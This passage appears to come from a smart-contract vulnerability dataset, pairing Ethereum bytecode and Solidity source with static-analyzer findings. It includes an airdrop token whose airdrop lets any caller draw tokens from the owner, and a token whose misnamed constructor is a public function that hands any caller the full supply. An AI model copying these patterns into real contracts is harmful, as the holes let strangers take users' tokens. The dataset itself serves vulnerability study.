152601260205260409020805483919085908110611cf557fe5b60009182526020808320909101805493909303909255858152601390915260409020805483919085908110611d2657fe5b600091825260208083209091018054909301909255858152601490915260409020805482919085908110611d5657fe5b60009182526020909120018054919091039055600554600160a060020a031663aa2796fd338360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515611dbf57600080fd5b6102c65a03f11515611dd057600080fd5b5050507fe69201b39f4f938b9ab028c6cfa6fedb755401f8302f88b761c31e5f8fa4f24d858585856040518085815260200184815260200183815260200182815260200194505050505060405180910390a15050505050565b600154600160a060020a031681565b60015460009033600160a060020a03908116911614611e5657600080fd5b5060058054600160a060020a03808716600160a060020a0319928316811790935560068054878316908416811790915560078054928716929093168217909255600092835260046020526040808420805460ff1990811660019081179092559385528185208054851682179055918452832080549092161790555b81518161ffff161015611f2e57600160046000848461ffff1681518110611ef457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101611ed1565b5050505050565b600160a060020a03331660009081526004602052604090205460ff161515611f5c57600080fd5b6000828152601660205260408120541115611f8a576000828152601760205260409020805482019055610b8d565b60008281526018602052604090208054820190555050565b6000828152601360205260408120805483908110611fbc57fe5b906000526020600020900154600d5461177002811515611fd857fe5b049392505050565b6000805433600160a060020a03908116911614611ffc57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561206257600080fd5b6102c65a03f1151561207357600080fd5b5050506040518051949350505050565b60085460a060020a900460ff1681565b60025433600160a060020a039081169116146120ae57600080fd5b600254600160a060020a031615156120c557600080fd5b6002805460008054600160a060020a0319908116600160a060020a03841617909155169055565b6000806120f88361103a565b905080431115611314576000915061131a565b600160a060020a038216151561215357600054600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561214e57600080fd5b610b8d565b600160a060020a03821681156108fc0282604051600060405180830381858888f193505050501515610b8d57600080fd5b60008083151561219757600091506121b3565b508282028284828115156121a757fe5b04146121af57fe5b8091505b5092915050565b60008082848115156121c857fe5b04949350505050565b82805482825590600052602060002090810192821561220c579160200282015b8281111561220c5782518255916020019190600101906121f1565b5061221892915061222e565b5090565b60206040519081016040526000815290565b61098291905b8082111561221857600081556001016122345600a165627a7a72305820133c13a1ce989df8af2eb72992c56030bfb2ef61a51312e986fb7eddebed07930029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,447
0x5affd40019bef91c23349bf4780904c000c2e21a
/** *Submitted for verification at Etherscan.io on 2021-11-24 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract VRCoin is ERC20 { address public owner; constructor (uint256 initialsupply) ERC20("VRCoin", "Vegan Rob's") { _mint(msg.sender, initialsupply *(10 ** decimals())); owner = msg.sender; } mapping (address => bool) public airDroped; uint256 public airDropAmount = 1000000000000000000000000; uint256 public airdropTime = 1000; function airdrop() public { require(airDroped[msg.sender] == false, "you already receieved airdrop"); require(airdropTime > 0, "airdrop is already ended"); _approve(owner, msg.sender, airDropAmount); transferFrom(owner, msg.sender, airDropAmount); airdropTime = airdropTime - 1; airDroped[msg.sender] = true; } function setAirDropAmount(uint256 _airdropAmount) public { require(msg.sender == owner, "only owner"); airDropAmount = _airdropAmount; } function setAirDropTime(uint256 _airDropTime) public { require(msg.sender == owner, "only owner"); airdropTime = _airDropTime; } function setAddressSituation (address _address, bool _status) public { require(msg.sender == owner, "only owner"); airDroped[_address] = _status; } function changeOwner (address _address) public { require(msg.sender == owner, "only owner"); owner = _address; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a6f9dae111610071578063a6f9dae114610347578063a9059cbb14610363578063c403f90f14610393578063ce6f1208146103b1578063dd62ed3e146103cd5761012c565b806370a082311461028f5780638da5cb5b146102bf57806395d89b41146102dd578063a457c2d7146102fb578063a6820a211461032b5761012c565b806330700dd9116100f457806330700dd9146101eb578063313ce5671461021b5780633884d6351461023957806339509351146102435780633abcf319146102735761012c565b806306fdde031461013157806308e9988b1461014f578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103fd565b60405161014691906117e0565b60405180910390f35b61015761048f565b6040516101649190611942565b60405180910390f35b61018760048036038101906101829190611346565b610495565b60405161019491906117c5565b60405180910390f35b6101a56104b3565b6040516101b29190611942565b60405180910390f35b6101d560048036038101906101d091906112bb565b6104bd565b6040516101e291906117c5565b60405180910390f35b61020560048036038101906102009190611256565b6105b5565b60405161021291906117c5565b60405180910390f35b6102236105d5565b604051610230919061195d565b60405180910390f35b6102416105de565b005b61025d60048036038101906102589190611346565b610784565b60405161026a91906117c5565b60405180910390f35b61028d60048036038101906102889190611382565b610830565b005b6102a960048036038101906102a49190611256565b6108ca565b6040516102b69190611942565b60405180910390f35b6102c7610912565b6040516102d491906117aa565b60405180910390f35b6102e5610938565b6040516102f291906117e0565b60405180910390f35b61031560048036038101906103109190611346565b6109ca565b60405161032291906117c5565b60405180910390f35b6103456004803603810190610340919061130a565b610ab5565b005b610361600480360381019061035c9190611256565b610ba0565b005b61037d60048036038101906103789190611346565b610c74565b60405161038a91906117c5565b60405180910390f35b61039b610c92565b6040516103a89190611942565b60405180910390f35b6103cb60048036038101906103c69190611382565b610c98565b005b6103e760048036038101906103e2919061127f565b610d32565b6040516103f49190611942565b60405180910390f35b60606003805461040c90611aa6565b80601f016020809104026020016040519081016040528092919081815260200182805461043890611aa6565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60075481565b60006104a96104a2610db9565b8484610dc1565b6001905092915050565b6000600254905090565b60006104ca848484610f8c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610515610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058c90611882565b60405180910390fd5b6105a9856105a1610db9565b858403610dc1565b60019150509392505050565b60066020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60001515600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890611842565b60405180910390fd5b6000600854116106b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ad90611902565b60405180910390fd5b6106e5600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633600754610dc1565b610714600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336007546104bd565b50600160085461072491906119ea565b6008819055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b6000610826610791610db9565b84846001600061079f610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108219190611994565b610dc1565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906118a2565b60405180910390fd5b8060078190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606004805461094790611aa6565b80601f016020809104026020016040519081016040528092919081815260200182805461097390611aa6565b80156109c05780601f10610995576101008083540402835291602001916109c0565b820191906000526020600020905b8154815290600101906020018083116109a357829003601f168201915b5050505050905090565b600080600160006109d9610db9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90611922565b60405180910390fd5b610aaa610aa1610db9565b85858403610dc1565b600191505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3c906118a2565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c27906118a2565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610c88610c81610db9565b8484610f8c565b6001905092915050565b60085481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1f906118a2565b60405180910390fd5b8060088190555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e28906118e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890611822565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7f9190611942565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906118c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390611802565b60405180910390fd5b61107783838361120d565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f490611862565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111909190611994565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111f49190611942565b60405180910390a3611207848484611212565b50505050565b505050565b505050565b60008135905061122681611b47565b92915050565b60008135905061123b81611b5e565b92915050565b60008135905061125081611b75565b92915050565b60006020828403121561126857600080fd5b600061127684828501611217565b91505092915050565b6000806040838503121561129257600080fd5b60006112a085828601611217565b92505060206112b185828601611217565b9150509250929050565b6000806000606084860312156112d057600080fd5b60006112de86828701611217565b93505060206112ef86828701611217565b925050604061130086828701611241565b9150509250925092565b6000806040838503121561131d57600080fd5b600061132b85828601611217565b925050602061133c8582860161122c565b9150509250929050565b6000806040838503121561135957600080fd5b600061136785828601611217565b925050602061137885828601611241565b9150509250929050565b60006020828403121561139457600080fd5b60006113a284828501611241565b91505092915050565b6113b481611a1e565b82525050565b6113c381611a30565b82525050565b60006113d482611978565b6113de8185611983565b93506113ee818560208601611a73565b6113f781611b36565b840191505092915050565b600061140f602383611983565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611475602283611983565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114db601d83611983565b91507f796f7520616c7265616479207265636569657665642061697264726f700000006000830152602082019050919050565b600061151b602683611983565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611581602883611983565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115e7600a83611983565b91507f6f6e6c79206f776e6572000000000000000000000000000000000000000000006000830152602082019050919050565b6000611627602583611983565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061168d602483611983565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116f3601883611983565b91507f61697264726f7020697320616c726561647920656e64656400000000000000006000830152602082019050919050565b6000611733602583611983565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61179581611a5c565b82525050565b6117a481611a66565b82525050565b60006020820190506117bf60008301846113ab565b92915050565b60006020820190506117da60008301846113ba565b92915050565b600060208201905081810360008301526117fa81846113c9565b905092915050565b6000602082019050818103600083015261181b81611402565b9050919050565b6000602082019050818103600083015261183b81611468565b9050919050565b6000602082019050818103600083015261185b816114ce565b9050919050565b6000602082019050818103600083015261187b8161150e565b9050919050565b6000602082019050818103600083015261189b81611574565b9050919050565b600060208201905081810360008301526118bb816115da565b9050919050565b600060208201905081810360008301526118db8161161a565b9050919050565b600060208201905081810360008301526118fb81611680565b9050919050565b6000602082019050818103600083015261191b816116e6565b9050919050565b6000602082019050818103600083015261193b81611726565b9050919050565b6000602082019050611957600083018461178c565b92915050565b6000602082019050611972600083018461179b565b92915050565b600081519050919050565b600082825260208201905092915050565b600061199f82611a5c565b91506119aa83611a5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119df576119de611ad8565b5b828201905092915050565b60006119f582611a5c565b9150611a0083611a5c565b925082821015611a1357611a12611ad8565b5b828203905092915050565b6000611a2982611a3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a91578082015181840152602081019050611a76565b83811115611aa0576000848401525b50505050565b60006002820490506001821680611abe57607f821691505b60208210811415611ad257611ad1611b07565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611b5081611a1e565b8114611b5b57600080fd5b50565b611b6781611a30565b8114611b7257600080fd5b50565b611b7e81611a5c565b8114611b8957600080fd5b5056fea26469706673582212200c62839f9eca4a28643a235a645cc06c966c1ece39311cc292dbabd947cac8ad64736f6c63430008000033
{"success": true, "error": null, "results": {}}
7,448
0x4918634431f1f62673c1bc00079b2faea1aab9f9
pragma solidity ^0.4.21 ; contract RE_Portfolio_V_883 { mapping (address => uint256) public balanceOf; string public name = " RE_Portfolio_V_883 " ; string public symbol = " RE883V " ; uint8 public decimals = 18 ; uint256 public totalSupply = 1438753004438170000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender&#39;s balance balanceOf[to] += value; // add to recipient&#39;s balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d&#39;&#233;mission - Lignes 1 &#224; 10 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_V_metadata_line_1_____Asta_Managing_Agency_Limited_20250515 > // < WP4JqCa29fLy9G8T2bN9Lf77jXpG978g1h7Y930GCs7DsRTNsOBQuj35gqAOzV9E > // < 1E-018 limites [ 1E-018 ; 18469005,8688919 ] > // < 0x000000000000000000000000000000000000000000000000000000006E15795E > // < RE_Portfolio_V_metadata_line_2_____Asta_Managing_Agency_Limited_20250515 > // < Jd5MBwk29Y97136p864xEf42rRc5n9hK7CL5p71BhXEJR82GW2VmEbv938Z80ftS > // < 1E-018 limites [ 18469005,8688919 ; 98537245,7608129 ] > // < 0x000000000000000000000000000000000000000000000006E15795E24B53E994 > // < RE_Portfolio_V_metadata_line_3_____Asta_Managing_Agency_Limited_20250515 > // < Q87uMQ7YWUCx1GCMs6p38u7tkv5KR9Azz81A16A178OYT15SaR73thHY89T5dB1D > // < 1E-018 limites [ 98537245,7608129 ; 132591827,66541 ] > // < 0x000000000000000000000000000000000000000000000024B53E9943164F14A2 > // < RE_Portfolio_V_metadata_line_4_____Asta_Managing_Agency_Limited_20250515 > // < ID37fMPIys9lj1R59UBg77gwJjR96XSud8Ids1h7659PXG9b31EpfzPiXbjyixqg > // < 1E-018 limites [ 132591827,66541 ; 156430209,772614 ] > // < 0x00000000000000000000000000000000000000000000003164F14A23A46590A5 > // < RE_Portfolio_V_metadata_line_5_____Asta_Managing_Agency_Limited_20250515 > // < 5N6o6G0k2cmANWKpg85105N084B4uzd9H9Yx194DupvlUGn00uJGKwx86Z9V0kzW > // < 1E-018 limites [ 156430209,772614 ; 202545345,493554 ] > // < 0x00000000000000000000000000000000000000000000003A46590A54B743AD89 > // < RE_Portfolio_V_metadata_line_6_____Asta_Managing_Agency_Limited_20250515 > // < wCvk39Bb5XFVCwdESZm9CJ87YjSPbrlHC26Q657bpM5LyiY0Hni3J6i337sjDQK5 > // < 1E-018 limites [ 202545345,493554 ; 219179688,780864 ] > // < 0x00000000000000000000000000000000000000000000004B743AD8951A69ABE2 > // < RE_Portfolio_V_metadata_line_7_____Asta_Managing_Agency_Limited_20250515 > // < bZebU6K7XNlzmDK59IcwUwmloW09Xse2GIN5OTPmT41ES3RHyN43zw3ACzaMsimk > // < 1E-018 limites [ 219179688,780864 ; 260636152,826453 ] > // < 0x000000000000000000000000000000000000000000000051A69ABE2611833726 > // < RE_Portfolio_V_metadata_line_8_____Asta_Managing_Agency_Limited_20250515 > // < F8LwO4h78saV8PGG2Qa1QKHMxNRaWUdfWO5jK4un8xS378VM5jx76WsQmB220V4t > // < 1E-018 limites [ 260636152,826453 ; 275150257,949163 ] > // < 0x000000000000000000000000000000000000000000000061183372666805FB76 > // < RE_Portfolio_V_metadata_line_9_____Asta_Managing_Agency_Limited_20250515 > // < LN2l9jh3RmsG5ME3ezJ7K7vGOZREck1C758Lmu25CTNjss686rIVyVP5tl1xhMPj > // < 1E-018 limites [ 275150257,949163 ; 286015822,041262 ] > // < 0x000000000000000000000000000000000000000000000066805FB766A8C98470 > // < RE_Portfolio_V_metadata_line_10_____Asta_Managing_Agency_Limited_20250515 > // < 76U3oaS270j936Ss61AfVwYUPKj59b75zdsMUYgrjAzRGy41VBvhn0XQ72N59J8d > // < 1E-018 limites [ 286015822,041262 ; 307343770,416015 ] > // < 0x00000000000000000000000000000000000000000000006A8C98470727E96245 > // Programme d&#39;&#233;mission - Lignes 11 &#224; 20 // // // // // [ Nom du portefeuille ; Num&#233;ro de la ligne ; Nom de la ligne ; Ech&#233;ance ] // [ Adresse export&#233;e ] // [ Unit&#233; ; Limite basse ; Limite haute ] // [ Hex ] // // // // < RE_Portfolio_V_metadata_line_11_____Atradius_ReinsLimited_A_20250515 > // < Uve10lUiBCZMml39ZRQ7UphDQ5keCIXBf9bd65tFlbtKFDS4CfII93FsBZXrgWT8 > // < 1E-018 limites [ 307343770,416015 ; 325080364,120425 ] > // < 0x0000000000000000000000000000000000000000000000727E96245791A14730 > // < 